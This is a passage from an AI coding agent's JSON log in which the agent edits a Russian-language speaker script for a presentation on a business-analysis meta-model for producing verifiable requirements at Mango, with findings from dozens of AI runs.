\"stop_details\": null,\n[2026-09-29T07:55:49.967Z] [INFO]     \"usage\": {\n[2026-09-29T07:55:49.967Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:55:49.967Z] [INFO]       \"cache_creation_input_tokens\": 1683,\n[2026-09-29T07:55:49.967Z] [INFO]       \"cache_read_input_tokens\": 53177,\n[2026-09-29T07:55:49.967Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:55:49.967Z] [INFO]         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\u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0434\u0438\u043d \u0441\u0432\u044f\u0437\u0430\u043d \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c\u0438. \u0413\u0440\u0430\u043d\u0438\u0446\u044b\\n\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f, \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u043c\u0435\u0436\u0434\u0443 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438 \u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0430\u044f \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u2014 \u043d\u0435 \u043f\u0440\u043e\\n\u043f\u043e\u0438\u0441\u043a.\",\n[2026-09-29T07:55:49.967Z] [INFO]       \"new_string\": \"RAG \u0440\u0435\u0448\u0430\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0437\u043d\u0430\u043d\u0438\u044f\u043c, \u0438 \u043e\u043d \u0432 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u0435 \u0435\u0441\u0442\u044c \u2014 \u044d\u0442\u043e \u0448\u0430\u0433 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\u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 \u2014 \u043d\u0435 \u043f\u0440\u043e \u043f\u043e\u0438\u0441\u043a.\"\n[2026-09-29T07:55:49.967Z] [INFO]     }\n[2026-09-29T07:55:49.967Z] [INFO]   }\n[2026-09-29T07:55:49.967Z] [INFO] }\n[2026-09-29T07:55:50.014Z] [INFO] {\n[2026-09-29T07:55:50.014Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:55:50.014Z] [INFO]   \"message\": {\n[2026-09-29T07:55:50.014Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:55:50.014Z] [INFO]     \"content\": [\n[2026-09-29T07:55:50.014Z] [INFO]       {\n[2026-09-29T07:55:50.014Z] [INFO]         \"tool_use_id\": \"toolu_01MaaQ6sXyfQ36dndQc5iEJE\",\n[2026-09-29T07:55:50.014Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:55:50.014Z] [INFO]         \"content\": \"The file /tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md has been updated successfully.\"\n[2026-09-29T07:55:50.014Z] [INFO]       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\u043c\u0435\u0436\u0434\u0443 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438\\n\u0438 \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0431\u0435\u0437 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 \u2014 \u043d\u0435 \u043f\u0440\u043e \u043f\u043e\u0438\u0441\u043a.\",\n[2026-09-29T07:55:50.014Z] [INFO]     \"originalFile\": \"---\\nstatus: draft\\nversion: 0.1\\nupdated: 2026-09-29\\ntemperature: 0.3\\ntype: presentation\\nscope: mango-only\\nsource: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646\\\"\\nbased_on: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md\\\"\\nrelated_artifacts:\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/mango_ba_prompts\\\"\\nrelated_issues:\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646\\\"\\n---\\n\\n# \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0438 \u0441\u0440\u0435\u0434\u044b \u0435\u0451 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f: \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u0434\u043b\u044f \u0434\u0438\u043a\u0442\u043e\u0440\u0430\\n\\n\u0421\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u043a\\n[\u0441\u043b\u0430\u0439\u0434\u0430\u043c](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md);\\n\u043d\u043e\u043c\u0435\u0440\u0430 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442 \u0441 \u043d\u043e\u043c\u0435\u0440\u0430\u043c\u0438 \u0441\u043b\u0430\u0439\u0434\u043e\u0432. \u0422\u0435\u043a\u0441\u0442 \u0442\u0435\u0437\u0438\u0441\u043d\u044b\u0439: \u0435\u0433\u043e\\n\u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u0441\u0432\u043e\u0438\u043c\u0438 \u0441\u043b\u043e\u0432\u0430\u043c\u0438, \u0430 \u043d\u0435 \u0447\u0438\u0442\u0430\u044e\u0442.\\n\\n## \u0420\u0430\u043c\u043a\u0430 \u0432\u044b\u0441\u0442\u0443\u043f\u043b\u0435\u043d\u0438\u044f\\n\\n- **\u0410\u0443\u0434\u0438\u0442\u043e\u0440\u0438\u044f:** \u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c \u043e\u0442\u0434\u0435\u043b\u0430 AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 Mango. \u0415\u043c\u0443 \u043d\u0435 \u043d\u0443\u0436\u043d\u043e\\n  \u043e\u0431\u044a\u044f\u0441\u043d\u044f\u0442\u044c, \u0447\u0442\u043e \u0442\u0430\u043a\u043e\u0435 LLM, \u0430\u0433\u0435\u043d\u0442 \u0438\u043b\u0438 RAG. \u0415\u043c\u0443 \u043d\u0443\u0436\u043d\u043e \u043f\u043e\u043d\u044f\u0442\u044c, \u0447\u0435\u043c \u043f\u043e\u0434\u0445\u043e\u0434\\n  \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442\u0441\u044f \u043e\u0442 \u00ab\u0435\u0449\u0451 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430\u00bb \u0438 \u0447\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c.\\n- **\u0425\u0440\u043e\u043d\u043e\u043c\u0435\u0442\u0440\u0430\u0436:** \u043e\u043a\u043e\u043b\u043e 20 \u043c\u0438\u043d\u0443\u0442 \u043d\u0430 10 \u0441\u043b\u0430\u0439\u0434\u043e\u0432 \u0438 10\u201315 \u043c\u0438\u043d\u0443\u0442 \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441\u044b.\\n  \u041e\u0440\u0438\u0435\u043d\u0442\u0438\u0440 \u043f\u043e \u0441\u043b\u0430\u0439\u0434\u0430\u043c \u2014 \u0432 \u043a\u0430\u0436\u0434\u043e\u043c \u0440\u0430\u0437\u0434\u0435\u043b\u0435.\\n- **\u041e\u0434\u043d\u0430 \u043c\u044b\u0441\u043b\u044c, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u043d\u0435\u0441\u0442\u0438 \u0441\u043b\u0443\u0448\u0430\u0442\u0435\u043b\u044c:** \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439\\n  \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u0435\u0442 \u043d\u0435 \u043c\u043e\u0434\u0435\u043b\u044c, \u0430 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u043d\u0430 \u0432\u044b\u0445\u043e\u0434\u0435 \u043a\u0430\u0436\u0434\u043e\u0439 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438\\n  \u0438 \u043a\u043e\u0434, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u043b\u0430\u0434\u0435\u0435\u0442 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438.\\n- **\u0422\u043e\u043d:** \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u044b\u0439. \u041a\u0430\u0436\u0434\u043e\u0435 \u0447\u0438\u0441\u043b\u043e \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0432\u043c\u0435\u0441\u0442\u0435 \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c. \u0422\u0430\u043c, \u0433\u0434\u0435\\n  \u0435\u0441\u0442\u044c \u043f\u0440\u043e\u0431\u0435\u043b, \u043e \u043d\u0451\u043c \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0441\u044f \u043f\u0435\u0440\u0432\u044b\u043c: \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c \u043d\u0430\u0439\u0434\u0451\u0442 \u0435\u0433\u043e\\n  \u0441\u0430\u043c, \u0438 \u0442\u043e\u0433\u0434\u0430 \u043f\u043e\u0441\u0442\u0440\u0430\u0434\u0430\u0435\u0442 \u0434\u043e\u0432\u0435\u0440\u0438\u0435 \u043a \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u043c \u0447\u0438\u0441\u043b\u0430\u043c.\\n\\n### \u0427\u0435\u0433\u043e \u043d\u0435 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0442\u044c\\n\\n- \u0427\u0442\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d end-to-end. \u0414\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u043e\u0442\u0440\u0435\u0437\u043e\u043a \u2014\\n  \u043e\u0442 \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0434\u043e Release. \u0428\u0430\u0433\u0438 \u043c\u043e\u0434\u0435\u043b\u0438 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u043d\u044b.\\n- \u0427\u0442\u043e \u043c\u0435\u0442\u0440\u0438\u043a\u0438 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 `mango_ba_prompts` \u2014 \u0431\u0435\u043d\u0447\u043c\u0430\u0440\u043a. \u041e\u043d\u0438\\n  \u0441\u0430\u043c\u043e\u0434\u0435\u043a\u043b\u0430\u0440\u0438\u0440\u0443\u0435\u043c\u044b\u0435 \u0438 \u0432 \u0440\u0430\u0437\u043d\u044b\u0445 \u0444\u043e\u0440\u043c\u0430\u0442\u0430\u0445. \u0420\u0430\u0437\u0431\u043e\u0440 \u043e\u043f\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u044b\u0435\\n  \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, \u0430 \u043d\u0435 \u043d\u0430 \u0441\u0430\u043c\u043e\u043e\u0446\u0435\u043d\u043a\u0443.\\n- \u0427\u0442\u043e \u0421\u0440\u0435\u0434\u0430 4 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442. \u042d\u0442\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f \u0441 \u043f\u043b\u0430\u043d\u043e\u043c, \u0430 \u043d\u0435 \u0440\u0430\u0437\u0432\u0451\u0440\u043d\u0443\u0442\u0430\u044f\\n  \u0441\u0438\u0441\u0442\u0435\u043c\u0430.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 1. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u043b\u044f \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u044c \u043a\u0430\u043a \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u044b\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442, \u0430 \u043d\u0435 \u043a\u0430\u043a \u0430\u0432\u0442\u043e\u0440\u0441\u043a\u0438\u0439 \u0442\u0435\u043a\u0441\u0442\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 1 \u043c\u0438\u043d\u0443\u0442\u0430. **\u0426\u0435\u043b\u044c:** \u043d\u0430\u0437\u0432\u0430\u0442\u044c \u0442\u0435\u0437\u0438\u0441 \u0438 \u0434\u0430\u0442\u044c \u043f\u043e\u043d\u044f\u0442\u044c, \u0447\u0442\u043e \u043e\u043d \u043e\u043f\u0438\u0440\u0430\u0435\u0442\u0441\u044f\\n\u043d\u0430 \u0438\u0441\u0442\u043e\u0440\u0438\u044e, \u0430 \u043d\u0435 \u043d\u0430 \u0442\u0435\u043e\u0440\u0438\u044e.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041c\u044b \u043f\u0440\u0438\u0448\u043b\u0438 \u043d\u0435 \u0441 \u0438\u0434\u0435\u0435\u0439, \u0430 \u0441 \u043f\u043e\u043b\u0443\u0433\u043e\u0434\u043e\u043c \u0440\u0430\u0431\u043e\u0442\u044b: \u0441 \u0430\u043f\u0440\u0435\u043b\u044f \u043f\u043e \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044c 2026 \u0433\u043e\u0434\u0430\\n  69 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447 \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0437\u0430 Mango \u0447\u0435\u0440\u0435\u0437 \u0418\u0418.\\n- \u0412\u0441\u0451 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043e \u0432 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u043c \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438\\n  [`mango_ba_prompts`](https://github.com/G-Ivan-A/mango_ba_prompts): \u0432\u0445\u043e\u0434\u044b,\\n  \u0432\u044b\u0445\u043e\u0434\u044b, \u043e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430, \u0436\u0443\u0440\u043d\u0430\u043b\u044b. 583 \u043a\u043e\u043c\u043c\u0438\u0442\u0430.\\n- \u0418\u0437 \u044d\u0442\u043e\u0439 \u0438\u0441\u0442\u043e\u0440\u0438\u0438 \u0432\u044b\u0440\u043e\u0441\u043b\u0430 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u2014 \u0444\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a\\n  \u0443\u0441\u0442\u0440\u043e\u0435\u043d\u0430 \u0440\u0430\u0431\u043e\u0442\u0430 \u0411\u0410 \u0438 \u0433\u0434\u0435 \u0435\u0451 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u043c\u0430\u0448\u0438\u043d\u043e\u0439.\\n- \u0413\u043b\u0430\u0432\u043d\u043e\u0435, \u0447\u0442\u043e \u043c\u044b \u043f\u043e\u043d\u044f\u043b\u0438: \u043c\u044b \u043d\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u043c\u044b\u0448\u043b\u0435\u043d\u0438\u0435 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430. \u041c\u044b \u0434\u0435\u043b\u0430\u0435\u043c\\n  \u0435\u0433\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u043c.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u041d\u0430\u0447\u043d\u0443 \u0441 \u0442\u043e\u0433\u043e, \u043f\u043e\u0447\u0435\u043c\u0443 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0441\u0442\u044c \u0437\u0434\u0435\u0441\u044c \u2014 \u043d\u0435 \u0430\u043a\u0430\u0434\u0435\u043c\u0438\u0447\u0435\u0441\u043a\u0438\u0439\\n\u0432\u043e\u043f\u0440\u043e\u0441\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 2. \u0412 \u043a\u043e\u043c\u0430\u043d\u0434\u0430\u0445 \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u044d\u0442\u043e \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u0430 \u043d\u0435 \u0437\u0430\u043c\u0435\u0442\u043a\u0430\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 1,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0446\u0435\u043d\u0443 \u043e\u0448\u0438\u0431\u043a\u0438, \u0447\u0442\u043e\u0431\u044b \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0430\u044f\\n\u0441\u0442\u0440\u043e\u0433\u043e\u0441\u0442\u044c \u043d\u0435 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b\u0430 \u0438\u0437\u0431\u044b\u0442\u043e\u0447\u043d\u043e\u0439.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041c\u044b \u0433\u043e\u0432\u043e\u0440\u0438\u043c \u043e \u043a\u043e\u043c\u0430\u043d\u0434\u0430\u0445 \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432. \u0422\u0430\u043c \u0422\u0417 \u2014 \u043d\u0435 \u0440\u0430\u0431\u043e\u0447\u0430\u044f \u0437\u0430\u043c\u0435\u0442\u043a\u0430, \u0430\\n  \u043e\u0441\u043d\u043e\u0432\u0430 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0438 \u0447\u0430\u0441\u0442\u044c \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u0430.\\n- \u041f\u0440\u043e\u0434\u0443\u043a\u0442 \u0448\u0438\u0440\u043e\u043a\u0438\u0439: \u0432 \u043d\u0430\u0448\u0435\u0439\\n  [\u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/product-taxonomy/mango-products.yaml)\\n  42 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0432 8 \u0434\u043e\u043c\u0435\u043d\u0430\u0445. \u0423 \u043a\u0430\u0436\u0434\u043e\u0439 \u0441\u0432\u043e\u0439 \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u0438 \u0441\u0432\u043e\u0438\\n  \u043b\u043e\u0432\u0443\u0448\u043a\u0438: \u043e\u0447\u0435\u0440\u0435\u0434\u044c \u0438 \u0433\u0440\u0443\u043f\u043f\u0430, SLA \u0438 AHT, IVR \u0438 \u0430\u0432\u0442\u043e\u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0442\u043e\u0440.\\n- \u041e\u0434\u043d\u043e \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u0442\u0440\u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438. \u041d\u0430 \u043a\u0430\u0436\u0434\u043e\u0439 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u0447\u0430\u0441\u0442\u044c\\n  \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0430, \u0438 \u043f\u043e\u0442\u043e\u043c \u044d\u0442\u043e \u0432\u0441\u043f\u043b\u044b\u0432\u0430\u0435\u0442 \u0441\u043f\u043e\u0440\u043e\u043c \u043e \u043f\u0440\u0438\u0451\u043c\u043a\u0435.\\n\\n**\u041f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u0432\u0430\u0436\u043d\u043e \u0434\u043b\u044f AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438:** \u043a\u043e\u0433\u0434\u0430 \u043e\u0448\u0438\u0431\u043a\u0430 \u0441\u0442\u043e\u0438\u0442 \u0434\u043e\u0440\u043e\u0433\u043e,\\n\u00ab\u0432 \u0441\u0440\u0435\u0434\u043d\u0435\u043c \u0445\u043e\u0440\u043e\u0448\u0438\u0439\u00bb \u0442\u0435\u043a\u0441\u0442 \u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435 \u0433\u043e\u0434\u0438\u0442\u0441\u044f. \u041d\u0443\u0436\u043d\u0430 \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u044f \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435\\n\u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u041f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c, \u0447\u0442\u043e \u043d\u0430 \u0441\u0430\u043c\u043e\u043c \u0434\u0435\u043b\u0435 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u043b\u043e, \u043a\u043e\u0433\u0434\u0430 \u043c\u044b \u043e\u0442\u0434\u0430\u0432\u0430\u043b\u0438\\n\u044d\u0442\u0443 \u0440\u0430\u0431\u043e\u0442\u0443 \u0418\u0418\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 3. \u041c\u0435\u0436\u0434\u0443 \u0441\u044b\u0440\u044b\u043c \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u043c \u0438 \u0422\u0417 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0440\u0443\u0447\u043d\u043e\u043c \u0448\u0430\u0433\u0435\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u044c \u0431\u043e\u043b\u044c \u0447\u0438\u0441\u043b\u0430\u043c\u0438 \u0438\u0437 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043e\u0440\u043f\u0443\u0441\u0430,\\n\u0430 \u043d\u0435 \u0438\u0437 \u043e\u0442\u0440\u0430\u0441\u043b\u0435\u0432\u044b\u0445 \u043e\u0442\u0447\u0451\u0442\u043e\u0432.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041c\u044b \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u043b\u0438\\n  [\u0432\u0441\u0435 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md),\\n  \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0431\u044b\u043b\u0438 \u043d\u0430 \u043c\u043e\u043c\u0435\u043d\u0442 \u0440\u0430\u0437\u0431\u043e\u0440\u0430. \u041f\u0440\u043e\u0433\u043e\u043d \u0437\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u043c, \u043f\u043e \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430\u043c.\\n- 17 \u0438\u0442\u043e\u0433\u043e\u0432\u044b\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0441 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f\u043c\u0438 \u2014 17 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440. \u041c\u0435\u0442\u0440\u0438\u043a\u0430\\n  \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u043e\u0439 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 `M-1` \u0440\u0430\u0432\u043d\u0430 \u043d\u0443\u043b\u044e. \u041d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0439 \u0437\u0430\u043c\u0435\u0440 \u043d\u0430 \u0442\u0440\u0451\u0445\\n  \u0437\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 \u0434\u0430\u043b \u0442\u0440\u0438 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u043a\u0435\u043b\u0435\u0442\u0430, \u0430 7 \u0438\u0437 14 \u0441\u043b\u043e\u0442\u043e\u0432 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u0430\\n  \u043d\u0435 \u0432\u0441\u0442\u0440\u0435\u0442\u0438\u043b\u0438\u0441\u044c \u043d\u0438 \u0440\u0430\u0437\u0443.\\n- 50 \u0438\u0437 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u044e\u0442, \u0438\u0437 \u043a\u0430\u043a\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u0430 \u043e\u043d\u0438 \u0440\u0430\u0431\u043e\u0442\u0430\u043b\u0438. \u0422\u0430\u043a\u043e\u0439\\n  \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043d\u0435\u043b\u044c\u0437\u044f \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0441\u0442\u0438 \u0438 \u043d\u0435\u043b\u044c\u0437\u044f \u0447\u0435\u0441\u0442\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c.\\n- \u0418\u0418 \u0437\u0430\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043f\u0443\u0441\u0442\u043e\u0442\u044b \u043f\u0440\u0430\u0432\u0434\u043e\u043f\u043e\u0434\u043e\u0431\u043d\u044b\u043c. \u0412 RUN-0015 \u043f\u043e\u044f\u0432\u0438\u043b\u0438\u0441\u044c \u0446\u0435\u043b\u0435\u0432\u044b\u0435 NFR \u2014\\n  5 \u043c\u0438\u043d\u0443\u0442, 100 \u043c\u0441, 2 \u0441\u0435\u043a\u0443\u043d\u0434\u044b, 24/7. \u041d\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430, \u0432\u0441\u0451 \u043e\u0442\u043a\u043b\u043e\u043d\u0438\u043b\\n  \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a.\\n- \u0412 RUN-0063 \u043f\u044f\u0442\u044c \u0438\u0437 \u0448\u0435\u0441\u0442\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0445 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439 